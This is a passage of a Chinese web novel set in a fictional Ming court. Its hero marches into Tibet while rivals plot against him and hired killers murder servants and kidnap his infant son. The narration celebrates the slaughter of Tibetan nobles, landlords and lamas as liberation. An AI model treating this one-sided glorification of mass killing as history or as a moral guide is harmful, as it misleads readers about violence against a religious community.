杨一清行礼道。 文徵明位居朝堂之上,看到其他官员对周楚的夸赞,内心有种与有荣焉的感觉,不过他的职责是劝谏皇帝,这些天嘉靖并未做过什么错事,极为勤政,一言一行也都是明君典范,这让文徵明有种有力使不出的感觉。 周楚得知文徵明被任命为国子监祭酒的时候,特意给文徵明写了封信,信里说了很多,其中包括什么话文徵明该说,什么话不该说。 总之一句话,只要是不涉及到原则问题,不影响江山社稷的,皇帝的行为,都不需要劝谏,皇帝的私德如果出了问题,偶尔可以劝谏一下,但没必要揪着不放。 皇帝的职责是治理天下,只要这方面做的够好,其他都是小事。 对于周楚的话,文徵明奉为圭臬,这话要是其他人说,文徵明未必会听,因为文徵明的性格比较固执,但凡他的性格圆滑一些,也早就被举荐入朝为官了,何必辛苦科举这么多年。 但这话是周楚说的,周楚是他的学生,而且事事都设身处地的为文徵明着想,对于周楚,文徵明甚至比自己的儿子看的还重,在文徵明眼中,自己的这个学生无一处不好,周楚的话,他自然是言听计从的。 周楚处理完太原的事务之后,并不准备在太原久留,因为接下来周楚即将带着玄武军进藏,没时间在太原逗留,至于太原的运转?那从来都不是周楚需要考虑的问题,而是内阁的职责。 而且太原当地有这些胥吏,根本乱不了,平日里看似都是这些官员在干活,实际上干活的多半是那些胥吏或者幕僚,只要有这些人在,太原就乱不了。 周楚从太原返回大同用了四天时间,周楚抵达大同的时候,被朝廷任命为西域都护府都护的谢丕早已等候在大同了。 原本谢丕应该直接去草原上任职的,但他临行之前,谢迁特意嘱咐,让他来大同拜访一下周楚,询问一下周楚之后在草原上该如何做,然后严格按照周楚的吩咐去执行,只有这样才不会出错。 谢迁人老成精,深谙官场之道,很清楚在官场之上,少做不做都不会有事,但如果做错了,就会很严重,特别是草原这种地方,一旦做错了,很可能为大明带来不可挽回的后果,到了那个时候,谢丕万死难辞其咎。 所以谢迁才会让自己的儿子来拜访周楚。 在谢迁眼里,这个锦衣卫指挥使周衡器,虽然年岁不足二十,做事却是极有章法,似乎从未出过错,这种人很可怕,让谢迁想起了一个人。 西汉的丞相霍光,霍光一生从未犯过错,完美到甚至每日上朝的时候走多少步进入朝堂都是固定的。 对于谢迁的看法,谢丕虽然不太理解,却也是坚决贯彻执行,谢丕很清楚,自己的爹为官数十载,官场上的事,远比自己看的清楚。 “下官谢丕见过大人。” 谢丕得知周楚回到大同的时候,第一时间登门拜访。 “不必如此客套,坐吧。” 周楚摆了摆手,示意下人上茶。 如今的大同,也有一套周楚的宅子,虽然不大,只是个三进的宅子,却也足够周楚居住了。 “大人还真是清廉为民。” 谢丕接过茶杯,打量着周围极为简单的陈设,由衷道。 “那倒也不是,本官不缺钱,只是这大同的宅子住不上几日,倒也没必要精心铺排,太过浪费。” 周楚喝了口茶道。 谢丕听到这话,一时僵住了,不知道该如何接这话。 他虽然已经四十多了,但之前一直在谢迁的庇护之下,而且一直在翰林院负责修书,对于朝堂上的明争暗斗,他实在是不太擅长,这也是谢迁对他不放心的根本原因。 “不知谢大人来找本官所为何事?” 周楚继续说道。 “是家父让下官来见大人的,家父说让下官一切都听大人的安排,下官在草原上如何做,也需要大人的指点。” 谢丕倒也是个实诚人,毫不隐瞒道。 他这话倒也说的极为精巧,将自己放在了周楚的晚辈的身份上,将周楚和谢迁的辈分并列,如此一来,周楚自然会对他指点一二。 周楚听到这话,点了点头,心想这个谢丕倒也是个聪明人。 “西域都护府,本官已经安排了一个蒙古人作为副都护,这一点已经经过了陛下的允许,蒙古人更了解蒙古人,也更好统治蒙古人,在草原上任职,你要多听他的意见,下面的事多让他去做,你可以做个甩手掌柜,但你要做的事,就是要盯紧他,不能让他有什么小动作。” 周楚看着谢丕,叮嘱道。 “那下官若是发现此人有不轨之心,该如何去做,茫茫草原,大多都是蒙古人,下官手下也没什么人可用。” 谢丕听到这话,心中一紧道。 “这点不用担心,西域都护府如今是我大明的领地,自然会设置锦衣卫所,到时候会派过去上千锦衣卫和一个锦衣卫千户,我会叮嘱于他,什么事都会听你吩咐。” 周楚笑道。 “多谢周大人指点迷津,如果没有周大人,下官还真不知道该怎么做。” 谢丕起身行礼道。 第328章 沈青临盆,嘉靖的赏赐,周楚入藏一年多 将大同的事安排的差不多之后,户部和兵部的粮草也已经到了西安,周楚入藏准备走唐蕃古道,唐蕃古道的起点正是西安。 途经西宁、日月山、巴颜嘎拉山、通天河等地,最后进入西藏。 这一路注定艰险无比,即便是玄武军经过极其严格的训练,周楚也不能保证他们一定不会有高原反应,所以周楚准备慢行军,一边在高原上练兵,一边进入青藏高原。 至于后勤粮草,除了第一批之外,周楚已经写了奏书给嘉靖,让他们在西安就近筹集粮草。 两三千人的玄武军所需的粮草并不是很多,西安完全能满足玄武军的粮草所需。尐説φ呅蛧 除了练兵之外,周楚一路上还要给玄武军灌输该如何对待最底层藏民,只有让那些最底层的藏民感受到尊重,同时当着他们的面,将他们眼中高高在上的贵族老爷们杀死,这些藏民才会真正的站起来,坚定不移的站在大明这边。 这些都是周楚的计划,而这个计划的实施和完成,注定是一个相对漫长的过程。 胡宗宪等人被周楚顺手编入了玄武军,前段时间他们在大同卫所军训练的已经初具效果了,现在已经能初步适应玄武军的训练强度了。 虽然每次练完他们都会像一条死狗一般,一动不动,但已经比之前不知道强了多少了。 周楚率领玄武军进藏的第一个月,沈青临盆了,剩下一个大胖小子,重八斤六两。 这让沈青和方鸿都很高兴,对方鸿而言,这个孩子名义上就是他们方家的,自己也算是替方家传宗接代了。 对沈青而言,这个孩子是她和周楚之间的纽带,她会对这个孩子灌注自己全部的爱。 沈青和方鸿商议之后,给这个孩子取名方恒。 方恒出生的悄无声息,却瞒不过一些人,比如德清公主。 德清公主早就看出了方鸿是女儿身,为此她还特意问了一下嘉靖,这才知道沈青怀的孩子居然是周楚的,沈青又是德清公主的干女儿,这个孩子出生,德清公主自然不会没有表示。 当天,德清公主就让人备了重礼,来到了方府。 德清公主小心从稳婆手中接过方恒,抱在手中,仔细敲了敲,刚出生的孩子脸都皱成了一团,倒也看不出来长得像谁,要等过些天,脸张开了,才能看出来像谁。 不过德清公主心里已经有了答案。 “没想到我那两个不争气的没生孩子,你倒是先给本宫生了个乖孙孙。” 德清公主用手指逗弄着怀里的方恒道。 沈青听到这话,脸色一红,她很清楚,这个孩子具体是谁的肯定是瞒不过眼前的德清公主的。 “你们都下去吧。” 一旁的方鸿也是人精,将房间内的稳婆和侍女都屏退。 “你们有什么话对本宫说吗?” 德清公主抱着方恒,看着眼前的两人,满脸笑容道。 “下官不敢欺瞒公主殿下,下官其实是女儿身,这孩子的生父是周大人。” 方鸿对德清公主躬身行礼道。 德清公主听到这话,丝毫不感到意外,只是点了点头。 “你还算诚实,很不错,以后这孩子就是本宫的干孙子,确实不该瞒着本宫。” 德清公主看着方鸿,有些欣慰的点了点头。 方鸿是个聪明人,她很清楚,自己的真实身份从自己和沈青大婚的那一刻起,在皇上眼中就再不是秘密,之前皇上可能注意不到自己这么个小人物,一旦注意到,自己就会被查的底掉。 方鸿从不觉得自己的爹能做到天衣无缝到瞒过皇帝。 更何况这件事本身也是漏洞百出,锦衣卫之中就有不少人知道,根本经不起查。 方鸿很清楚,周大人的这个孩子,将是自己的护身符,也会是自己将来仕途前进的保证。 虽说方鸿没有刻意算计这些东西,一切都是顺其自然的,但这些道理方鸿是明白的。 “沈青,这个孩子至关重要,你可要好好养大。” 德清公主看着床上的沈青道。 “女儿知道的,有劳干娘费心了。” 沈青虚弱道。 德清公主听到这话,点了点头,要知道这个孩子可是周楚在这个世界上目前为止唯一的一个孩子,周楚为大明,为陛下做的事太多了,哪怕是自己的两个儿子,全都多亏了周楚一路提拔,更不用说周楚和唐伯虎的关系了。 对于周楚,德清公主一直以来都是一种不知道该怎么再对其好一些的态度,她毕竟是公主,很多时候对待某一个人的态度不能太过。 不过此时周楚的儿子出生了,还是沈青生出来的,沈青是自己的干女儿,这个孩子理论上也是自己的干孙子。 如此一来,德清公主想对周楚好的心瞬间就找到了宣泄口,有这层身份在,德清公主觉得自己再怎么对这孩子好也不为过。 几人说完了悄悄话之后,将稳婆和侍女再次放了进来。 “老爷,宫里来人了。” 方府的管家一脸惊慌地来到方鸿面前说道。 方鸿和沈青听到这话,很是意外,倒是德清公主,虽然也感到意外,但想想也就明白了,这个孩子可是周楚的第一个孩子,皇帝一直都是知道的,虽然没办法点明这孩子的身份,却也可以赏赐方鸿。 来宣旨的是黄锦手下的一个太监,以方鸿的身份,还没资格让黄锦来宣旨,即便是嘉靖重视,也不能做的太过,倘若让黄锦来宣旨的话,恐怕会引起很多人的猜忌。 “锦衣卫百户方鸿接旨!” 太监后面跟着一群人,抬着一个个箱子,来到方鸿面前后,高声喝道。 方鸿听到这话,急忙跪倒在太监面前。 “锦衣卫百户方鸿,于玄武军之中杀敌有功,擢升其为千户,赏黄金千两,白银五千两......” 太监念着一样样财物,这些东西听的方鸿都有些头晕眼花,她当然不是第一次见这么多钱,以前跟着周楚抄家的时候,多少钱财她都见过,但这些钱财和物件可是皇帝赏赐给她的。 至于为何赏赐给她,方鸿再清楚不过了,之前方鸿在玄武军之中做的事,一直处于保密阶段,所以一直没有明面上的赏赐,这次皇帝亲自传下圣旨,将方鸿从百户擢升为锦衣卫千户,肯定不会是因为之前的军功,而是方恒的出身,这一点,方鸿心里门清。 虽然只是升了一级,但就是这一级,就拦住了无数人,关键还不是官职,而是她这个千户是皇帝亲封的,和其他的锦衣卫千户完全不同。 “臣叩谢陛下隆恩。” 方鸿叩首道。 “方大人,恭喜啊。” 太监满脸笑容地将圣旨递到了方鸿手中,这个太监也清楚,眼前的方鸿一定是有什么特殊之处,才会被陛下如此看重,将来的前途不可限量,自然要搞好关系。 “承公公吉言。” 方鸿说着拿出一块五两的银子,递给了传旨的太监,太监不着痕迹地接过银子,脸上的笑容愈发灿烂了。 “方大人稍待,咱家告辞了。” 太监对方鸿还了个礼,随后带着身后的众人离开了方府。 这些太监离开之后,房间内的德清公主这才走出来。 “看来陛下对你们的孩子也很重视,你们一定要好生教养这孩子,如果不知道怎么养的话,可以问一问周衡器,他对养孩子很有心得,那陆家的小女儿就是他从小带大的,你看现在多厉害,还有我家老二,要是没有周衡器,现在还不知道什么样呢。” 德清公主忍不住再次叮嘱道。 当着下人的面,德清公主不方便说的太透,但这其中的意思已经很明显了,周楚才是方恒的生父,将来如何教养方恒,一定要询问方恒的意见。 “对了,这孩子取名字了吗?” 德清公主问道。 “回殿下的话,这孩子叫方恒。” 方鸿说道。 “方恒....好名字,希望他以后无论做什么事都能持之以恒。” 德清公主似乎对这个名字很满意,满脸笑容道。 .......... 周楚进藏的第二个月,谢迁第三次请辞,终于在嘉靖满脸不舍地表情下被批准了。 至此,谢迁长舒了一口气,他这次进京也算是功德圆满了,可以去真正的颐养天年了。 到了他这个年纪,早就没了什么野心,能顺利的为自己的儿子谢丕谋一个前程,已经是最完美的结局了。 周楚进藏的第六个月,海瑞等人在南镇抚司工匠的帮助下,终于研发出来第一代蒸汽机。 不过这个蒸汽机也只是刚刚能运转,各方面都不能让海瑞等人满意,更不用说用来作为动力源了。 之后的半年多时间,海瑞等人经过不断地研究改善,终于将蒸汽机正式研发了出来,这个蒸汽机完全做到了周楚说的那些要求,甚至可以作为火车的动力源。 但能量的转换比还是太低了,海瑞等人经过数次实验之后,仍然很不满意,决定继续改善。 这一年多的时间,朝廷多了许多生面孔,都是之前被查办的官员补上来的。 周楚一年多不在京城,很多人的心思开始蠢蠢欲动了,当然,这其中并不包括夏言。 之前周楚给夏言留下的心理阴影太大了,夏言决定再观察一段时间,他不明白这个周衡器为何会主动进藏,但他很希望周楚死在西藏,周楚一旦死了,他就可以海阔凭鱼跃了。 至于内阁首辅杨一清?根本压制不住夏言,杨一清年纪太大了,干不了几年了。 不过在没有确切的消息之前,夏言不会轻举妄动。 即便谢迁请辞之后,嘉靖特意将他抬入内阁,夏言成了内阁阁老,却仍然低调的可怕。 夏言很清楚,皇帝之所以把自己抬入内阁,不过是为了平衡杨一清杨慎等人,倘若内阁之中的阁员只剩下一种声音了,皇帝就该睡不着觉了。 对于这一点,夏言拿捏的恰到好处,朝堂上夏言总是能恰到好处的反驳杨一清或者杨慎的话,但夏言也只是做这些自己该做的事,多余的事,夏言是一件都不做。 直到夏言收到了一份拜帖。 《李贤侄女汪明月》 这个拜帖的名字让夏言有些摸不着头脑,但对于李贤,夏言还是很熟悉的,作为曾经的江南一系的代表人物之一,夏言自然对江南商会的会长李贤不陌生。 只是这汪明月又是何人?为何会来给自己递拜帖?难道她就不怕自己将她的身份捅出去? 夏言当即让人调查了汪明月的身份和背景。 拿到汪明月的资料的时候,夏言陷入了沉默之中。 根据这些资料,这个汪明月恐怕还真不怕自己将她的身份捅出去,毕竟她自小就和李贤没什么关系,而且好像和李贤还有着很深的仇恨。 李贤做下的事祸及家人,但所谓的祸及家人,也只是明面上身契和李贤有关的,汪明月从任何方面看,都和李贤没有关系,甚至夏言也没有任何证据证明两人的关系。 至于这份拜帖,更算不得什么证据了,这种证据,能轻易被推翻。 “见过夏大人。” 最终,夏言还是见了沈明月,沈明月看着眼前的夏言,顿时有种嗅到了同类的感觉,沈明月很清楚,眼前的这位内阁阁老,能数次在周楚手下保命,手段绝非一般,这也是她为何找上夏言的原因。 “你是何人?找本官所为何事?” 夏言看着眼前的沈明月,面色不善道。 “大人勿虑,小女子不过是想帮大人对付锦衣卫指挥使周衡器罢了。” 沈明月满脸笑容道。 夏言听到这话,脸色愈发难看了。 “休要胡言,本官什么时候要对付周大人了?” 夏言自然不可能承认自己对周楚恨之入骨,眼前这个女人来历不明,目的不明,夏言这么谨慎的人,又怎么会轻易交底。 “我知道大人信不过我,甚至看不起我,觉得我凭什么对付周衡器。” 沈明月听到这话,丝毫不急,笑道。 “我的生父是李贤,不过我和李贤的仇不共戴天,周衡器替我杀了李贤,我不会因此恨他,也不会因此与他为敌。” 沈明月不疾不徐道。 夏言听到这话,愈发不解了。 “既如此,你方才为何又说那些话?” 夏言说话很谨慎,不该说的话一个字都不会多说。 “因为周衡器似乎对底层的百姓充满了悲悯之心,这一点我是完全不认同的,那些底层的农户,一个个都愚不可及,又坏又蠢,当年我娘就是被那些人逼死的,我成了沈家大小姐之后,这些人又舔着脸找到我,跟我要钱,给的少了,他们还到处诋毁于我,这种人就活该一直在底层,凭什么翻身?” 沈明月说这话的时候,越说越显得激动,越说越显得暴戾,说到最后,整个人的气质完全变了。 夏言听到这里,已经基本信了沈明月的话,毕竟之前他让人调查过沈明月,很清楚沈明月的娘是怎么死的。 “那么,你又凭什么觉得你一个女人,能帮到我呢?” 夏言有些玩味地看着眼前的沈明月道。 第329章 汪明月的谋划,方恒被抓 “我不过是一介女流之辈,很多事做起来不会那么的引人注意,而且我为大人做事,并非有所求,只是单纯的看不惯周楚的做法,倘若有一天事发,小女子也绝不会把祸水往大人身上引。” 汪明月看着夏言,说道。 夏天听到这话,倒是有些心动,这样一个和自己八竿子打不着的女人,用起来确实方便,至于会不会牵扯到自己,夏言倒也没什么指望,夏言很清楚,这京城之中很少有什么事能瞒得过锦衣卫的耳目。 自己的府中,说不定就有锦衣卫的钉子。 不过夏言为了安全起见,并不是在自己家中见的汪明月,而是特地选了京城之外的一个夏家的庄子上,这个庄子上的人不多,夏言准备事后将这个庄子上的人全都处理了。 能被派到庄子上干粗活的,一般都是夏府之中不受待见的下人,亦或是犯了错的下人,这些人哪怕被打死,也不会有人多问一句。 夏言并不指望自己的一举一动能完全瞒得过锦衣卫,他很清楚那很难,只要能把自己和这个女人之间的联系隐藏住,他就很满意了。 “除此之外,李贤被抓之前,把他的藏起来的钱财都给了我,甚至将他之前联系的那些被周楚查处流放的那些官员家的一些人也留给了我,他可能是抱着让我为他报仇的期望,我这么做,倒也算是变相的在为他报仇了。” 汪明月自嘲道。 之前在李贤手下刺杀周楚的那些人,都被锦衣卫处死了,不过刺杀锦衣卫指挥使周楚的罪名,最多也就是斩立决,没有任何一个大明律可以让这些人夷三族。 而且这些人牵扯的家族实在是太多了,再加上周楚一直都是事赶事,也就没精力追究这些人了。 “相比于李贤,你更恨那些农户?” 夏言看着汪明月,问道。 “以前我更恨李贤,因为那时候我对那些乡下人还抱有幻想,但现在李贤死了,恨与不恨也没什么太大的意义了,我现在要做的,就是要那些乡下的农户永远没有抬头的希望,他们不配!” 汪明月如实回答道。 对于汪明月的态度,夏言很是满意。 “为我做事就算了,你就做你想做的就可以了,倘若需要什么帮助,可以找徐子升,不过徐子升考完科举之后他爹就离世了,如今正在丁忧。” 夏言看着汪明月道。 当初徐阶高中探花之后,夏言就公开赞扬过他,说徐阶储相人选,入阁之才,而徐阶,从一开始就被打上了江南一系的标签。 对于周楚,徐阶一直有种感觉,这位锦衣卫指挥使并不待见自己。 再加上徐阶在入仕之前就和夏言杨廷和有较深的往来了,倘若不是杨廷和致仕,那么夸赞徐阶的人就会是杨廷和,而非夏言。 当初徐阶的同窗都走杨廉的门路,他之所以不为所动,不是因为他看的多透彻,而是夏言让人给他送了一封信,告知了其中的关键之处。 这份情,徐阶不想接也得接着,毕竟从一开始,他就选择了站队。 徐阶站队站的很隐晦,就连周楚都没有太多的察觉,周楚以为原本历史上的徐阶是后来才加入的江南集团,实际上徐阶从一开始就加入了江南集团,原本历史上杨廷和就夸赞过徐阶,后来张璁主张将文庙中将孔子像改为木制神主,将“大成至圣文宣王”改为先贤先儒等。 这一点遭到了徐阶的强烈反对,后来徐阶被张璁穿了小鞋,开始学会了隐藏自己。 如今的江南集团虽然覆灭了,但徐阶暗中还是夏言这边的人。 周楚脑海之中对于关于历史人物的东西太多了,多到有些细节记没有那么清楚,其中就包括关于徐阶的这一部分细节。 “不急,急事缓办,等徐大人丁忧结束再说吧。” 汪明月笑道。 这次她来找夏言的目的达到了,她之所以找夏言,就是因为她清楚,以自己的实力想要对付周楚难如登天,可以说几乎毫无希望。 但夏言不同,此人之前就是江南一系的,如今江南一系虽然已经名存实亡了,但那是在江南,实际上京城之中,江南一系的人一直都在,徐阶就是其中之一。 只不过如今京城之中的江南一系,因为江南的变故,已经没了基本盘,没了根基,所以大多数人选择蛰伏下来,静待时机。 汪明月要做的,就是借用这些人的力量,不过汪明月也清楚,自己想要获得夏言的信任并不容易,自己需要先做一些事,让这位夏大人见识到自己的能力,他才更容易接纳自己。 汪明月之所以对付周楚,实际上完全是因为李贤的死对汪明月而言很突然。 在之前的十年之中,汪明月一直靠着对李贤的仇恨活着,李贤突然死了,汪明月有过一段时间的迷茫,她觉得这个世上没什么值得自己留恋的了,本想自我了结,但当她了解周楚之后,顿时发现了新的目标,她要阻止周楚。 说白了,汪明月不过是将阻止周楚作为自己活下去的目标,取代了之前对李贤的仇恨。 否则她一旦没了目标,就会觉得这个人世间糟透了,总想着自我了结。 最近这段时间,汪明月得到了一个令她兴奋地消息。 沈青,那个在周楚微末之际,和周楚一起做生意的女人,生了个孩子,这不是重点,重点是,汪明月手下有个人,偶尔之间得知了一个消息,沈青嫁给的那个方鸿,居然是个女人。 要说这事也算是机缘巧合,一个锦衣卫总旗在汪明月手中的一个青楼之中喝醉了酒,说漏了嘴,这个消息自然就传到了汪明月耳中。 “沈青生的,一定是周楚的孩子!” 汪明月几乎瞬间就做出了判断。 她决定要把这个孩子抢过来,以前的周楚没有弱点,强的可怕,但现在不同了,他有了孩子,这个孩子将会是他的致命弱点。 周楚进藏的第二年,海瑞等人终于改造出了功率转换相对稳定且转换率相对较高的蒸汽机。 这让海瑞和一起研究蒸汽机的杨盛斋极为振奋。 杨盛斋在大狱之中被关了半年就被放出来了,本身就是走个形式,杨盛斋出来之后,第一时间返回了京城,见了自己的祖父杨一清。 杨一清看到杨盛斋的时候,极为欣慰,在他的孙子辈之中,他最看好的反而是这个不循规蹈矩的小孙子,其他两个孙子,甚至他的儿子,杨一清都看不入眼,太守规矩,以至于有些迂腐了,这种人注定成不了大事。 杨盛斋见完杨一清之后,直接一头扎入了村子之中,一边耕作,一边和海瑞一起研究蒸汽机。 归有光经过这两年的不断寻找,已经找到了不少天然不育株,杂交小麦的研究也算是正式步入了正轨。 这一天,筹谋了近半年的汪明月,终于决定对方府下手了。 之所以筹谋这么久,是因为汪明月要让人训练动手的那批人,训练的地方还不能放在京城附近,否则极易被锦衣卫察觉。 动手之人的选择上,也很有讲究,汪明月直接从那些被流放的犯官的家族之中选择了一些十三四岁的,然后在夏言的暗中帮助下,帮他们重新换了一层身份。 如此一来,即便是锦衣卫调查,也查不到那些犯官身上,查不到那些犯官,也就联想不到汪明月身上。 原本夏言并不想搭理汪明月,但是听到汪明月说周楚居然有了孩子,已经两岁了,夏言顿时就坐不住了,倘若能把这个孩子掌握在手中,对周楚而言,将是致命的威胁。 作为敌人,夏言无比了解周楚,这个锦衣卫指挥使,极重感情,倘若这个孩子真的落在自己手中,夏言光是想想就觉得很激动。 这件事让夏言对汪明月刮目相看,他没想到自己都不知道的消息,这个女人居然能知道。 这件事并不难求证,这个孩子出生前后,方府的对比,甚至方鸿都在这个孩子出生后被皇帝下圣旨提拔为锦衣卫千户了。 这些无一不在说明,这个孩子的身份非同一般。 十三四岁的少年,长相正是变化极大的时候,也正是因此,汪明月才会选择这些人,为了防止这些人出卖自己,在他们出发之前,汪明月甚至在他们嘴中都放好了毒药,一旦形势不对,他们就会立刻服毒自尽。 实际上汪明月并不是很在乎自己的死活,不过一想到自己就这么轻而易举的被周楚发现的话,汪明月就接受不了,既然要做,那就要做的完美。 动手的时机汪明月也选的很巧妙,正是方鸿带着锦衣卫出京城办事的时候。 这个时候的方府几乎没什么防备,只有一些下人和门房,夜半三更,汪明月手下的二十多个训练有素的死士,直奔方府而去。 方府的下人都没什么反应的时间,不少都被抹了脖子。 等到沈青察觉不对的时候,这些死士眼看着就要把沈青所在的厢房围住了。 “谁啊?” 沈青看着外面人影憧憧,心中警铃大作,问了一句。 没人回答她。 这让沈青的心沉到了谷底,她意识到这些人来者不善。 虽然不清楚这些人的目的,沈青绝不会坐以待毙。 她抱起了正在熟睡的方恒,打开墙上的一道暗门,走了进去。 沈青之所以建造这间密室,完全是受到了周楚的影响,之前跟着周楚做了那么多年的生意,沈青的思想深受周楚影响,之前周楚将周府挖的四通八达的时候,沈青内心就有了类似的想法。 不过那时候沈青孑然一身,倒也不怎么在意这些,直到方恒出生之后,沈青很清楚,方恒的身份德清公主都能知道,那就说明不是没人知道,总有一天会走漏风声。 这些都是沈青内心预想的,实际上她对即将面临的危机并没有充足的认知,否则就不会只修一间密室了,而是会像周楚那般,修密道通往其他地方。 机关转动的声音在这深夜之中格外刺耳,那些死士听到之后,一个个直接破门而入,不过此时沈青进入的密室门已经彻底关上了,这些人并没有看到密室的入口在哪里。尐説φ呅蛧 “有机关密室,好好找一找,不能久留!” 死士的首领低声道。 一众死士听到这话纷纷开始在厢房之内仔细查找起了机关密室。 沈青建造的密室算不上多么精巧,她找的人也只是一般的工匠,这些死士找了一刻钟左右就找到了密室入口。 众人进入密室之中,将沈青打晕,直接从沈青手中将方恒抢走了。 等到方鸿回来的时候,看着院中的尸体,顿时脸色大变,此时的方鸿意识到了自己家中出了大事。 她急忙跑到沈青厢房之中,看到沈青厢房的密室门是开着的,方鸿的脸色变得极为难看。 她进入密室之中,看到了昏迷中的沈青,左看右看,却没看到方恒,她把沈青抱到了厢房之中,放在了床上。 此时的方鸿基本已经断定,这些人是冲着方恒来的。 方恒的身份,恐怕已经被有些人知道了。 这些人应该是奔着周大人去的。 “沈青,醒醒。” 方鸿将沈青放在床上之后,叫道。 沈青听到这话,悠悠转醒。 醒过来沈青看到方鸿之后,瞬间坐了起来,满脸的焦急。 “他们把恒儿抓走了,快去救恒儿。” 沈青满脸哀求地看着方鸿道。 “他们是什么人?” 方鸿虽然早有猜测,但听到沈青这么说,她还是脑瓜子嗡嗡的。 她强迫自己冷静下来,看着沈青问道。 “不知道,是一群黑衣人,突然就到了厢房外面,我察觉不对,抱着恒儿进入了密室,但这些人很快就找到了密室的机关。” 沈青说着说着突然放声哭了出来。 “都怪我,当初就不应该修建密室,应该修建一个通往其他地方的密道。” 此时的沈青完全是六神无主,不知道该怎么办了。 “我这就去调集人手,掘地三尺也要把这些人找出来!” 方鸿咬牙切齿道。 第330章 嘉靖暴怒,锦衣卫全员出动,周楚回京 周楚带着玄武军刚进藏的时候,玄武军对藏区百姓的生活习俗相当尊重,一路上不该碰的东西绝对不碰。 直到玄武军江将一个喇嘛庙荡平,将当地的地主阶级全都杀死之后,藏区的百姓满脸不可置信的看着眼前的这些人,那些在他们眼中高高在上的老爷们,居然也是可以被杀死的。 这是他们第一次意识到,原来高高在上的贵族老爷们并非不死的,当周楚以及玄武军告诉他们,你们是自由的,可以做自己想做的事,然后将那些贵族的地分给他们的时候,他们一个个不可置信的看着眼前的这些兵,纷纷跪倒在地,五体投地的磕头。 甚至有些虔诚的藏民,一路跟随着周楚的人马,一路五体投地跪拜过去。 玄武军在这些藏民口中获得了一个新的称呼。 金珠玛米,菩萨兵。 周楚则成了藏民眼中活着的菩萨,在藏民眼中,这些金珠玛米的首领那就是来自东方的菩萨,拯救他们来了。 当得知东方还有个皇帝,皇帝在他们眼中那就是活着的佛,于是所有被周楚拯救的藏民家中都供奉着两张画像,一张是周楚的,一张则是嘉靖的。 嘉靖的画像,周楚早在来西藏之前,就让人准备了很多张。 每个藏区的百姓,都拿出珍藏已久的颜料,用来临摹周楚和嘉靖的画像,带回家供着。 不过周楚杀戮藏区贵族阶级和屠戮喇嘛庙的消息传到了西藏其他地区,那些地主阶级一个个如临大敌,将周楚以及玄武军宣扬成了来自地府的恶鬼,见到他们一定要第一时间将他们打死。 刚开始,那些底层百姓对这种宣传深信不疑,但随着周楚第一批拯救的藏区百姓向四周扩散,自发地为玄武军宣传,再加上那些百姓看到玄武军对他们极其友好,甚至极其尊重,哪怕吃不饱也不会抢他们家里的东西吃的时候,瞬间明白了,那些贵族老爷说的都是鬼话。 他们在害怕眼前的这些菩萨兵。 于是藏区的百姓纷纷自发给玄武军送吃的喝的,如此一来,彻底解决了玄武军补给线过长,很多时候都吃不饱的问题。 当然,周楚也不会白要藏区百姓的粮食,事后从那些地主家中抢来粮食之后,就会加倍还给他们。 对藏区百姓而言,粮食永远要比白银或者铜钱要来的实在。 就这样,周楚带着玄武军一路将整个西藏的地主阶层和贵族,以及喇嘛庙全都平推了,这注定是一个漫长的过程,到了最后,每一个见到玄武军和周楚的藏区百姓都会异常激动,周楚和玄武军在西藏彻底成了传说中的存在。 周楚带领着玄武军,用了两年的时间,彻底将整个西藏犁平,那些原本高高在上的贵族和地主,基本都被玄武军杀了,西藏的资源和土地,周楚也都分给了藏区百姓。 当然,如果是在其他地区,周楚是不敢这么做的,但藏区相对封闭,和中原地区并不相通,消息闭塞,周楚才会这么做。 这两年的时间,周楚一封封奏疏送到京城,跟嘉靖汇报着自己在藏区的进度,嘉靖每次看到周楚的奏疏,都忍不住感慨,自己何德何能,有这么一个能臣,为自己扫平一切障碍。 当嘉靖得知藏区百姓家里供奉的都是他的画像的时候,虽说将他称呼为佛陀,虽说嘉靖是信道的,但那一刻嘉靖内心如同天降甘霖一般,浑身舒爽。 嘉靖很清楚,无论是道家的神仙,亦或是佛家的佛陀,都是百姓信奉的久了,就成了神仙或者佛陀。 就像道教的吕祖吕洞宾,又或者是道教的开派祖师张道陵,这些一开始也都是普通人。 嘉靖甚至能看到百年之后,自己可能彻底化身为藏区的一座佛陀,这让嘉靖内心获得了极大的满足,这种满足甚至超过了皇位给他带来的成就感。 正是因此,当沈青生了孩子之后,嘉靖才特意让人去赏赐方鸿,将方鸿提拔为锦衣卫千户。 根据周楚的建议,嘉靖将藏区正式命名为西藏行省,并派出相应的官员前往西藏和周楚交接,对于所有的藏区官员,嘉靖也听取了周楚的建议,大部分官员任职时间最多是三年。 因为西藏偏远闭塞,一旦这些官员在西藏太久的话,就会滋生出绝对的权力和腐败,这绝不是周楚和嘉靖想要看到的。 同时派往西藏的,还有一个锦衣卫千户和近千锦衣卫,锦衣卫在藏区不负责其他的,只负责监察藏区的官员。 当然,这些都只是初定的,具体的细则还要由内阁和许多官员共同拟定,尽量保证这些人的相对廉洁。 要多绝对廉洁,在藏区这种封闭的环境内,几乎不太可能,无论是嘉靖还是周楚也不强求这些,这些官员只要不过分欺压百姓,对藏区百姓而言,大明的统治都远强过以前那些贵族老爷们的统治。 周楚将藏区彻底收复之后,跟嘉靖打了报告之后,等到大明的其他军队到了,以及那些官员都彻底交接结束之后,带着玄武军就开始返回大明了。 “什么?方家的孩子被劫走了?” 御书房之中,嘉靖听到这个消息,腾的一下站了起来。 这种事情在以往基本不会发生,因为无论大家怎么斗,很难见到拿对方的家人来威胁的,就像杨廷和,就算有人抓了他的孙子,或者抓了杨慎威胁他,也是没用的,因为杨廷和身上牵扯的利益过深。 从来不是一个简单的人可以威胁到他的,更何况到了杨廷和内阁首辅的位置,内心早已坚硬如铁,即便杨慎因此被杀,杨廷和或许会难过,但难过之后绝对会以雷霆手段为杨慎报仇。 能成为朝堂大佬的,一个个的心早已坚如磐石,不会轻易被这些撼动,更何况这么做等于坏了规矩,事后面临的报复,绝对超出想象。 但周楚不同,周楚如今满打满算也才将近二十岁,而且从以往周楚的所言所行来看,周楚比其他官员更注重个人感情,否则当初也不会那么对陆家了。 这个孩子能不能威胁到周楚嘉靖不清楚,但嘉靖此时想发疯,他把御书房书案上的东西全都推倒在地。 “都是干什么吃的?京城之中那么多锦衣卫,怎么就让人闯进方家把人劫走了?” 嘉靖怒吼道。 “陛下,那方鸿毕竟只是个千户,锦衣卫不可能一直派人在他们家盯着,在一年前差不多就值守的人都撤走了。” 黄锦小心翼翼道。 嘉靖听到这话,看了一眼黄锦,冷静了一些。 